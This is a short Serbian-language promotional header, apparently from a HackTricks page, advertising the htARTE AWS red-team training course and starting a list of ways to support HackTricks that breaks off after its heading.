Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: